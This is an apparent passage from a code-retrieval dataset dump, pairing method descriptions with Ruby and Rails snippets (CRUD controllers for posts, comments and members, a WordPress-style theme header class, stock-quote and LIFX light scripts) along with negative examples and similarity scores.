\"0.57202226\",\n \"0.57008284\",\n \"0.5696625\",\n \"0.56964684\",\n \"0.56898504\",\n \"0.5655038\",\n \"0.5642578\",\n \"0.5631312\",\n \"0.561114\",\n \"0.5593789\",\n \"0.55833423\",\n \"0.5583153\",\n \"0.5580771\",\n \"0.55798966\",\n \"0.5570596\",\n \"0.55675715\",\n \"0.556458\",\n \"0.5546862\",\n \"0.55386746\",\n \"0.5527114\",\n \"0.5517924\",\n \"0.5509032\",\n \"0.55057144\",\n \"0.5499461\",\n \"0.5496254\",\n \"0.54933804\",\n \"0.54920197\",\n \"0.5488992\",\n \"0.54824346\",\n \"0.5470078\",\n \"0.5463763\",\n \"0.54578733\",\n \"0.54513997\",\n \"0.54411006\",\n \"0.5440305\",\n \"0.5439134\",\n \"0.5434276\",\n \"0.543029\",\n \"0.54299325\",\n \"0.5423914\",\n \"0.54213244\",\n \"0.54202384\",\n \"0.54046834\",\n \"0.5403745\",\n \"0.5403147\",\n \"0.5403147\",\n \"0.5403147\",\n \"0.53997934\",\n \"0.5398818\",\n \"0.5397877\",\n \"0.5391452\",\n \"0.5386841\",\n \"0.53646034\",\n \"0.5360685\",\n \"0.5355104\",\n \"0.5355104\",\n \"0.5334252\",\n \"0.5333834\",\n \"0.5328724\",\n \"0.5319651\",\n \"0.5319398\",\n \"0.5319274\",\n \"0.5309987\",\n \"0.5303462\",\n \"0.52973795\",\n \"0.52942884\",\n \"0.5288012\",\n \"0.5279891\",\n \"0.527801\",\n \"0.5273001\",\n \"0.5263059\",\n \"0.52603185\",\n \"0.5259717\",\n \"0.5254855\",\n \"0.52546924\",\n \"0.52526057\",\n \"0.5251313\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.7046652"},"document_rank":{"kind":"string","value":"1"}}}],"truncated":false,"partial":true},"paginationData":{"pageIndex":1719,"numItemsPerPage":100,"numTotalItems":183306,"offset":171900,"length":100}},"jwt":"eyJhbGciOiJFZERTQSJ9.eyJyZWFkIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJyZXBvLmNvbnRlbnQucmVhZCI6dHJ1ZX0sImlhdCI6MTc3NDMxNTc5Niwic3ViIjoiL2RhdGFzZXRzL25vbWljLWFpL2Nvcm5zdGFjay1ydWJ5LXYxIiwiZXhwIjoxNzc0MzE5Mzk2LCJpc3MiOiJodHRwczovL2h1Z2dpbmdmYWNlLmNvIn0.tWH1xWzvl3DxezlCQPnOSIYU4QN9tc-BDiGZaQQeoGy7XQlnebVIpXDU9W7hf_ebVoIOEZpiGVa8kH4_v1RWDA","displayUrls":true,"splitSizeSummaries":[{"config":"default","split":"train","numRows":183306,"numBytesParquet":1793620957}]},"discussionsStats":{"closed":0,"open":1,"total":1},"fullWidth":true,"hasGatedAccess":true,"hasFullAccess":true,"isEmbedded":false,"savedQueries":{"community":[],"user":[]}}">
query stringlengths 7 9.55k | document stringlengths 10 363k | metadata dict | negatives listlengths 0 101 | negative_scores listlengths 0 101 | document_score stringlengths 3 10 | document_rank stringclasses 102
values |
|---|---|---|---|---|---|---|
GET /picture_comments/1 GET /picture_comments/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def comments\n client.get(\"/#{id}/comments\")\n end",
"def show\n @profile_picture = ProfilePicture.find(params[:id])\n @commentable = @profile_picture\n @comments = @commentable.comments\n @comment = Comment.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.... | [
"0.72587",
"0.7222499",
"0.7216618",
"0.71568346",
"0.71510416",
"0.7134518",
"0.70479923",
"0.7047443",
"0.69863385",
"0.69818693",
"0.68882495",
"0.68076944",
"0.6802958",
"0.6799736",
"0.67473716",
"0.6701049",
"0.6681165",
"0.6681165",
"0.6606982",
"0.6585319",
"0.6572403... | 0.0 | -1 |
POST /picture_comments POST /picture_comments.json | def create
@picture = Picture.find params[:picture_id]
@new_picture_comment = PictureComment.new(picture_comment_params)
@new_picture_comment.picture = @picture
@new_picture_comment.user = current_user
if @new_picture_comment.save
redirect_to picture_path(@picture)
else
@picture_comments = @picture.picture_comments.order(created_at: :desc)
render "pictures/show"
end
# @picture_comment = PictureComment.new(picture_comment_params)
# respond_to do |format|
# if @picture_comment.save
# format.html { redirect_to @picture_comment, notice: 'Picture comment was successfully created.' }
# format.json { render :show, status: :created, location: @picture_comment }
# else
# format.html { render :new }
# format.json { render json: @picture_comment.errors, status: :unprocessable_entity }
# end
# end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def post_photo_comment\n @pic = Picture.find(params[:picture_id].to_i)\n @comment = PhotoComment.new(:comment=>params[:comment],:user_id=>@login_user.id,:discussable_id=>params[:picture_id],:discussable_type=>\"Picture\")\n if @comment.save\n respond_to do |format|\n format.js\n end\n ... | [
"0.7580851",
"0.726661",
"0.7048099",
"0.6945436",
"0.6919591",
"0.68058544",
"0.6784785",
"0.6594999",
"0.65897316",
"0.647804",
"0.6444993",
"0.6438595",
"0.64367384",
"0.6375256",
"0.63620836",
"0.6360339",
"0.6318313",
"0.6307005",
"0.62785316",
"0.62698984",
"0.62623674"... | 0.7054806 | 2 |
PATCH/PUT /picture_comments/1 PATCH/PUT /picture_comments/1.json | def update
respond_to do |format|
if @picture_comment.update(picture_comment_params)
format.html { redirect_to @picture_comment, notice: 'Picture comment was successfully updated.' }
format.json { render :show, status: :ok, location: @picture_comment }
else
format.html { render :edit }
format.json { render json: @picture_comment.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @imgcomment = Imgcomment.find(params[:id])\n\n respond_to do |format|\n if @imgcomment.update_attributes(params[:imgcomment])\n format.html { redirect_to @imgcomment, notice: 'Imgcomment was successfully updated.' }\n format.json { head :no_content }\n else\n forma... | [
"0.6822784",
"0.6746901",
"0.6746845",
"0.6723143",
"0.6670136",
"0.6587116",
"0.65788656",
"0.656598",
"0.6549688",
"0.6543518",
"0.6515699",
"0.65076905",
"0.64969146",
"0.6490219",
"0.6490219",
"0.6442285",
"0.6437088",
"0.6415494",
"0.6349914",
"0.634146",
"0.6338959",
... | 0.71480966 | 0 |
DELETE /picture_comments/1 DELETE /picture_comments/1.json | def destroy
@picture_comment.destroy
redirect_to picture_path(@picture_comment.picture)
# respond_to do |format|
# format.html { redirect_to picture_comments_url, notice: 'Picture comment was successfully destroyed.' }
# format.json { head :no_content }
# end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @imgcomment = Imgcomment.find(params[:id])\n @imgcomment.destroy\n\n respond_to do |format|\n format.html { redirect_to imgcomments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @album = Album.find(params[:album_id])\n @photo = @album.photos.find... | [
"0.7577529",
"0.7376646",
"0.73549443",
"0.7221013",
"0.716645",
"0.71193075",
"0.708715",
"0.69983435",
"0.69983435",
"0.6995109",
"0.6982236",
"0.6979248",
"0.6976625",
"0.69416666",
"0.6941359",
"0.69401085",
"0.69385016",
"0.69360995",
"0.6898529",
"0.68925637",
"0.689256... | 0.726833 | 3 |
Use callbacks to share common setup or constraints between actions. | def set_picture_comment
@picture_comment = PictureComment.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576"... | 0.0 | -1 |
Only allow a list of trusted parameters through. | def picture_comment_params
params.require(:picture_comment).permit(:body, :picture_id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\... | [
"0.6946679",
"0.6811753",
"0.67995036",
"0.679359",
"0.67437977",
"0.6738685",
"0.6525698",
"0.65186113",
"0.6492684",
"0.64316213",
"0.64316213",
"0.64316213",
"0.6397299",
"0.63539475",
"0.63526994",
"0.6344162",
"0.63427454",
"0.6336022",
"0.63279474",
"0.63279474",
"0.632... | 0.0 | -1 |
(This method maps the columns from the CSV row to valid columns in the database, using the map defined in row_map) | def extract_data(row)
row_map.each_with_object({}) do |(db_column, row_column), output|
output[db_column] = row[row_column]
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def validate_column_mappings(line)\n unmapped = []\n line.each_key do |key|\n next if column_names.include? key\n unmapped << key\n end\n raise NdrImport::UnmappedDataError, unmapped if unmapped.any?\n end",
"def row_to_hash(row, columns, key_map)\n hash = {}\n... | [
"0.6979582",
"0.6625543",
"0.63524187",
"0.63169503",
"0.63162524",
"0.62326944",
"0.6213776",
"0.60734564",
"0.60481495",
"0.60347545",
"0.60000914",
"0.5989269",
"0.5934844",
"0.5819059",
"0.58185214",
"0.57761097",
"0.5772296",
"0.57038826",
"0.5668335",
"0.5643853",
"0.56... | 0.6085924 | 7 |
Add default description text to tools. | def config(tool, loader)
data = {tool: tool, loader: loader}
tool.flags.each do |flag|
config_desc(flag, generate_flag_desc(flag, data), generate_flag_long_desc(flag, data))
end
tool.positional_args.each do |arg|
config_desc(arg, generate_arg_desc(arg, data), generate_arg_long_desc(arg, data))
end
tool.flag_groups.each do |flag_group|
config_desc(flag_group, generate_flag_group_desc(flag_group, data),
generate_flag_group_long_desc(flag_group, data))
end
config_desc(tool, generate_tool_desc(tool, data), generate_tool_long_desc(tool, data))
yield
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_description\n\t\t@description = \"Sales by Rails\"\n\tend",
"def default_description\n options[:default_description]\n end",
"def desc(name, description)\n commands[name].description = description\n end",
"def default_description\n description = \"Run `#{@application_class.name}`... | [
"0.69191635",
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"0.642264",
"0.64214617",
"0.64013",
"0.63860005",
"0.6364117",
"0.63445... | 0.0 | -1 |
Get a raw, unformatted theme header. The header is sanitized, but is not translated, and is not marked up for display. To get a theme header for display, use the display() method. Use the get_template() method, not the 'Template' header, for finding the template. The 'Template' header is only good for what was written in the style.css, while get_template() takes into account where WordPress actually located the theme and whether it is actually valid. | def get(header)
return false if @headers[header].blank?
sanitize_header(header, @headers[header])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_template\n # Filters the name of the current theme.\n apply_filters('template', get_option('template'))\n end",
"def load_header_template\n path = File.open(\"#{SOAP_TEMPLATE_PATH}/header.xml\")\n Nokogiri::XML(path)\n end",
"def get_header_textcolor\n get_theme_mod('header... | [
"0.6107192",
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"0.51688033",
"0.5128753",
"0.51137733",
"0.5076642",
"0.5070548... | 0.0 | -1 |
Gets a theme header, formatted and translated for display. | def display(header, markup = true, translate = true)
value = get(header)
return false if value == false
if translate && (value.blank? || !load_textdomain)
translate = false
end
value = translate_header(header, value) if translate
value = markup_header(header, value, translate) if markup
value
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_header_textcolor\n get_theme_mod('header_textcolor', get_theme_support( 'custom-header', 'default-text-color' ))\n end",
"def header\n @header ||= create_header\n end",
"def header\n return @header\n end",
"def header_text\n @attributes[:header_text]\n end",
"def entry_heade... | [
"0.64476216",
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"0.5667239",
"0.5663461",
"0.5659476",
"0.5631363",
"0.563136... | 0.0 | -1 |
Sanitize a theme header. | def sanitize_header(header, value)
value
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sanitize_header_field(value)\n value.to_s\n .gsub(\"\\r\\n\", \"\\n\")\n .gsub(HEADER_FIELD_SANITIZER_PATTERN, HEADER_FIELD_SANITIZER_MAPPING)\n end",
"def prepare_custom_headers(header)\n header.end_with?(\"__c\") ? header.slice(0..-4).downcase : header.downcase\n end",
"def cl... | [
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"0.5550594",
"0.5539094",
"0.5524586",
"0.55171734",
"0.5499293",
... | 0.657884 | 0 |
Mark up a theme header. | def markup_header(header, value, translate)
value
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def header_style(header); end",
"def generate_header\n \n self.reload\n self.headers.reload\n \n layout_path = self.current_layout.relative_path unless self.current_layout.nil?\n \n # Default header values\n yaml_headers = {'title' => self.name, \n 'created_at' => Time.... | [
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"0.6212505",
"0.6204387",
"0.6199527",
"0.6198141",
"0.6193422"... | 0.0 | -1 |
Translate a theme header. | def translate_header(header, value)
value
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def markup_header(header, value, translate)\n value\n end",
"def translated_header_message\n lookups = []\n lookups << :\"activemodel.errors.template.header_message\"\n lookups << :\"activerecord.errors.template.header_message\"\n lookups << :\"case_form.errors.template.he... | [
"0.6415071",
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"0.54883945",
"0.54779375",
"0.5453536",
"0.54509753",
"0.54254687",
"0.540805... | 0.6405397 | 1 |
The directory name of the theme's "stylesheet" files, inside the theme root. In the case of a child theme, this is directory name of the child theme. Otherwise, get_stylesheet() is the same as get_template(). | def get_stylesheet
@stylesheet
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_stylesheet_directory\n stylesheet = get_stylesheet\n theme_root = get_theme_root(stylesheet)\n stylesheet_dir = \"#{theme_root}/#{stylesheet}\"\n\n # Filters the stylesheet directory path for current theme.\n apply_filters( 'stylesheet_directory', stylesheet_dir, stylesheet, theme_ro... | [
"0.7899692",
"0.7324366",
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"0.6556961",
"0.65356326",
"0.64676154",
"0.6439915",
"0.64362454",
"0.63869154",
"0.63... | 0.5886862 | 35 |
The directory name of the theme's "template" files, inside the theme root. In the case of a child theme, this is the directory name of the parent theme. Otherwise, the get_template() is the same as get_stylesheet(). | def get_template
@template
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_template_directory\n template = get_template\n theme_root = get_theme_root(template)\n template_dir = \"#{theme_root}/#{template}\"\n\n # Filters the current theme directory path.\n #\n # @param string $template_dir The URI of the current theme directory.\n # @param string $templ... | [
"0.79202604",
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"0.6935341",
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"0.6671999",
"0.66198444",
"0.6538882",
"0.6531435",
"0.6528992",
"0.6499962",
... | 0.0 | -1 |
SEED MATCHES AMONG TEST_USER and Tom | def tom_likes_walker
Swipe.create!({
swiped_yes: true,
swiper_id: 23,
swipee_id: 24
})
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_create_seed\n r1 = create_seed 123\n r2 = create_seed 123\n assert_equal r1, r2\n end",
"def test_add_mixedup_user\n num_users0 = count_users\n proto = User.new('oauth_id' => '566213105', 'name' => 'Avilay Parekh')\n proto.oauth_id = SecureRandom.uuid\n new_user = @ds.add_or_get_us... | [
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"0.5486848",
"0.5481108",
"0.54761916",
"0.54674065"... | 0.0 | -1 |
GET /members/1/independents GET /members/1/independents.xml | def index
@independents = @member.independents
respond_to do |format|
format.html # index.html.erb
format.xml { render :xml => @independents }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @independent = @member.independents.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @independent }\n end\n end",
"def destroy\n @independent = @member.independents.find(params[:id])\n @independent.destroy\n\n respon... | [
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"0.50149477",
"0.5011014",
"0.49976... | 0.7758057 | 0 |
GET /members/1/independents/1 GET /members/1/independents/1.xml | def show
@independent = @member.independents.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @independent }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @independents = @member.independents\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @independents }\n end\n end",
"def destroy\n @independent = @member.independents.find(params[:id])\n @independent.destroy\n\n respond_to do |forma... | [
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"0.4956735",
"0.49246043",
"0.49131396",
"0.490... | 0.72361463 | 1 |
GET /members/1/independents/new GET /members/1/independents/new.xml | def new
@independent = @member.independents.build
@independent.name_last = @member.name.split(" ")[1] unless @member.name.nil?
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @independent }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @independents = @member.independents\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @independents }\n end\n end",
"def new\n @dependent_representative = DependentRepresentative.new\n\n respond_to do |format|\n format.html # new.... | [
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"0.56251997",
"0.5614399",
"0.56137204",
"0.56137204",
"0.56044036",
"0.5562... | 0.71858126 | 0 |
POST /members/1/independents POST /members/1/independents.xml | def create
@independent = @member.independents.build(params[:independent])
@independent.phone = params[:independent][:phone_areacode] + "-" + params[:independent][:phone_exchange] + "-" + params[:independent][:phone_subscriber]
respond_to do |format|
if @independent.save
format.html { redirect_to(@member, :notice => 'Independent was successfully created.') }
format.xml { render :xml => @independent, :status => :created, :location => @independent }
else
format.html { render :action => "new" }
format.xml { render :xml => @independent.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @independents = @member.independents\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @independents }\n end\n end",
"def new\n @independent = @member.independents.build\n @independent.name_last = @member.name.split(\" \")[1] unless @me... | [
"0.6458221",
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"0.53992355",
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"0.45038497",
"0.449246",
"0.4485977",
"0.44839728",
"0.4476885",
"0.447... | 0.54094946 | 2 |
PUT /independents/1 PUT /independents/1.xml | def update
@independent = @member.independents.find(params[:id])
params[:independent][:phone] = params[:independent][:phone_areacode] + "-" + params[:independent][:phone_exchange] + "-" + params[:independent][:phone_subscriber]
respond_to do |format|
if @independent.update_attributes(params[:independent])
format.html { redirect_to(@member, :notice => 'Independent was successfully updated.') }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @independent.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n ... | [
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"0.4968637",
"0.49618426",
"0.49586728",
"0.4953017",
"0.49371... | 0.5375154 | 2 |
DELETE /independents/1 DELETE /independents/1.xml | def destroy
@independent = @member.independents.find(params[:id])
@independent.destroy
respond_to do |format|
format.html { redirect_to(member_independents_url(@member)) }
format.xml { head :ok }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n @dependencia = Dependencia.find(params[:id])\n begin\n @dependencia.destroy\n rescue ActiveRecord::DeleteRestrictionError => e\n ... | [
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"0.5776423",
"0.5... | 0.69662094 | 0 |
A description of the versions prior to the migration version. Could be "a.x" if the migration version is 1.0 or later, otherwise falls back to "prea.b". | def pre_migration_version
match = /^(\d)+\.0/.match migration_version.to_s
if match
major = match[1].to_i
return "#{major - 1}.x" if major.positive?
end
"pre-#{migration_version}"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def tc_previous_versions(version)\n # TODO: make an index for this stuff\n v = get_version(version)[\"previous_version\"]\n if v\n Array === v ? v : [v]\n else\n []\n end\n end",
"def previous_versions\n @previous_versions ||= versions[1..-1] rescue ... | [
"0.6712393",
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"0.58217955",
"0.5804147",
"0.5791333",
"0.574865... | 0.7494259 | 0 |
Using YahooFinance API to retreive quote details for stocks | def stock_quote(stocks, bulb)
quotes = YahooFinance::get_standard_quotes( stocks )
quotes.each do |symbol, qt|
change_light(bulb, qt) # call change light function
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def stockquote(stock)\n url = URI(\"https://apidojo-yahoo-finance-v1.p.rapidapi.com/market/v2/get-quotes?region=US&symbols=#{@stock}\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n \n ... | [
"0.8021494",
"0.7753533",
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"0.74914193",
"0.7203931",
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"0.67142886",
"0.67129594",
"0.66750956",
"0.66422856",
"0.66... | 0.6190313 | 37 |
Function to greet with Weather | def weather_report(location)
# Fetch weather
weatherboy = Weatherboy.new(location)
w = weatherboy.current
Mac::TTS.say("The current weather in Atherton is #{w.temp_f} degrees and #{w.weather}", :victoria)
sleep(0.5)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def greet\n 'Ahoy Mateys!'\n end",
"def greet\n puts '------------------------'\n puts \"Greetings to you #{@name}\"\n end",
"def greet(who)\n\t\"Hello, #{who}!\"\nend",
"def greet(who)\n\t\"Hello, #{who}!\"\nend",
"def greet(who)\n\t\"Hello, #{who}!\"\nend",
"def greets(name)\n puts \"he... | [
"0.7407892",
"0.7077284",
"0.6945808",
"0.6945808",
"0.6945808",
"0.69046074",
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"0.6820149",
"0.6791583",
"0.67866784",
"0.6769134",
"0.67460436",
"0.67450625",
"0.6742127",
"0.67384523",
"0.67341024",
"0.6731315",
"0.6725034",
"0.66815335",
"0.6633... | 0.6819486 | 9 |
Function determines quote performance and changes light color accordingly | def change_light(light, quote)
if quote.changePercent <= -1
light.set_color LIFX::Color.red, duration: 0
Mac::TTS.say("#{quote.name} is down #{quote.changePercent.abs} percent", :victoria)
elsif quote.changePercent >= 1
light.set_color LIFX::Color.green, duration: 0
Mac::TTS.say("#{quote.name} is up #{quote.changePercent.abs} percent", :victoria)
else
light.set_color LIFX::Color.blue, duration: 0
Mac::TTS.say("#{quote.name} is flat at #{quote.changePercent} percent", :victoria)
end
sleep(0.5)
light.set_color LIFX::Color.hsb(0,0,0.35), duration: 0
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def colorized?; end",
"def colorize!; @colors = true; end",
"def quotes \n case self\n when 'thunderstorm'\n puts \"Fucking thunder storm..\".bold.blink.colorize(:light_blue)\n puts ''\n puts \"It's time to sing the “Fuck you Thunderâ€.\".colorize(:blue)\n when 'thunderstorm wi... | [
"0.6250965",
"0.57846224",
"0.57744646",
"0.5763351",
"0.5672441",
"0.5665996",
"0.5647751",
"0.5627291",
"0.5627291",
"0.5553286",
"0.5516161",
"0.54932064",
"0.5437854",
"0.5437029",
"0.54054457",
"0.54009455",
"0.5381803",
"0.53802496",
"0.5344611",
"0.5344611",
"0.5340012... | 0.6611195 | 0 |
GET /posts GET /posts.json | def index
@current_section = params[:category] || ''
# for the carousel
@most_recent = Post.published.where(category: @current_section).recent.first
# bulid posts query, for current section
@posts = Post.published.where(category: @current_section).recent
# not including the first one
@posts = @posts.where( "id != #{@most_recent.id}" ) if @most_recent # and (@current_section == 'traininggear')
# paginate the posts
@posts = @posts.page(params[:page]).per(9)
respond_to do |format|
format.html # index.html.erb
format.json { render json: @posts }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @posts = Post.find(params[:id])\n render json: @posts\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n ... | [
"0.7865315",
"0.7494904",
"0.7494433",
"0.7494433",
"0.7488696",
"0.74314564",
"0.728645",
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"0.72522277",
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"0.72042215",
"0.72039723",
"0.7169929",
"0.71689725",
"0.71644753",
"0.7121855",
"0.71152896... | 0.0 | -1 |
GET /posts/1 GET /posts/1.json | def show
@post = Post.published.find(params[:id])
@post.increment!(:views) unless current_user
@current_section = @post.category
respond_to do |format|
format.html # show.html.erb
format.json { render json: @post }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @posts = Post.find(params[:id])\n render json: @posts\n end",
"def show\n render json: Post.find(params[\"id\"])\n end",
"def show\r\n post = Post.find(params[:id])\r\n render json: post\r\n end",
"def show\n @post = Post.find(params[:id])\n\n render json: @post\n end",
... | [
"0.7711106",
"0.7353868",
"0.73432916",
"0.7337744",
"0.7322914",
"0.72929156",
"0.7275816",
"0.7256641",
"0.7161978",
"0.71590686",
"0.71554387",
"0.71554387",
"0.7119625",
"0.70948726",
"0.70948726",
"0.70948726",
"0.7094028",
"0.7071563",
"0.7060839",
"0.70453614",
"0.7032... | 0.0 | -1 |
GET /posts/new GET /posts/new.json | def new
@post = Post.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @post }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n \n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @post }\n end\n end",
"def new\n @post = Post.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\... | [
"0.8041974",
"0.80156785",
"0.79855186",
"0.7931169",
"0.79215",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"... | 0.78468144 | 34 |
POST /posts POST /posts.json | def create
@post = Post.new(params[:post])
respond_to do |format|
if @post.save
format.html { redirect_to @post, notice: 'Post was successfully created.' }
format.json { render json: @post, status: :created, location: @post }
else
format.html { render action: "new" }
format.json { render json: @post.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n render json: Post.create(params[\"post\"])\n end",
"def create\n respond_with Post.create(params[:posts])\n end",
"def create\n @post = Post.create(post_params)\n render json: @post, serializer: PostSerializer\n end",
"def create\n @post = Post.new(post_params)\n @po... | [
"0.74463975",
"0.73221767",
"0.73072433",
"0.7123966",
"0.7015686",
"0.701327",
"0.69841874",
"0.6939327",
"0.69313824",
"0.69053805",
"0.68196476",
"0.6812792",
"0.6793222",
"0.6792862",
"0.6779654",
"0.6779654",
"0.67625546",
"0.67602354",
"0.67515427",
"0.6735786",
"0.6698... | 0.6380103 | 57 |
PUT /posts/1 PUT /posts/1.json | def update
@post = Post.find(params[:id])
respond_to do |format|
if @post.update_attributes(params[:post])
format.html { redirect_to @post, notice: 'Post was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @post.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n render json: Post.update(params[\"id\"], params[\"post\"])\n end",
"def update\n respond_with Post.update(params[:id], params[:posts])\n end",
"def update\n respond_with post.update(params[:id], params[:post])\n end",
"def update\n title = params[:title]\n body ... | [
"0.7308219",
"0.7123652",
"0.68159384",
"0.66432106",
"0.66181636",
"0.6607148",
"0.6583982",
"0.6564183",
"0.6552021",
"0.6532697",
"0.6511846",
"0.64877653",
"0.6446283",
"0.64321554",
"0.64155626",
"0.638547",
"0.63833165",
"0.63661736",
"0.63641906",
"0.6363359",
"0.63632... | 0.6133479 | 71 |
DELETE /posts/1 DELETE /posts/1.json | def destroy
@post = Post.find(params[:id])
@post.destroy
respond_to do |format|
format.html { redirect_to posts_url }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n post = Post.find(params[:id])\n if post.destroy\n render json: {status: \"success\", data: {id: param... | [
"0.80474216",
"0.7690539",
"0.7584054",
"0.7579993",
"0.7568069",
"0.75050366",
"0.7503592",
"0.7475553",
"0.74675894",
"0.7465682",
"0.74644274",
"0.7459639",
"0.7459639",
"0.7459639",
"0.7459639",
"0.745848",
"0.745848",
"0.745848",
"0.745848",
"0.745848",
"0.745848",
"0.... | 0.73717594 | 65 |
List events filtered by params. | def all(params = {})
req = WebPay::EventListRequest.create(params)
raw_response = @client._request(:get, 'events', req)
WebPay::EventResponseList.new(raw_response)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def list_events(criteria = {})\n events(criteria: criteria)\n end",
